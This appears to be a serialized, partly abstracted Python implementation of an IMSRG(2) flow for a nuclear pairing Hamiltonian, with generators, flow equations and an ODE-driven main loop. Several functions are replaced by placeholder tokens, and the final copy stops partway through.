eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + 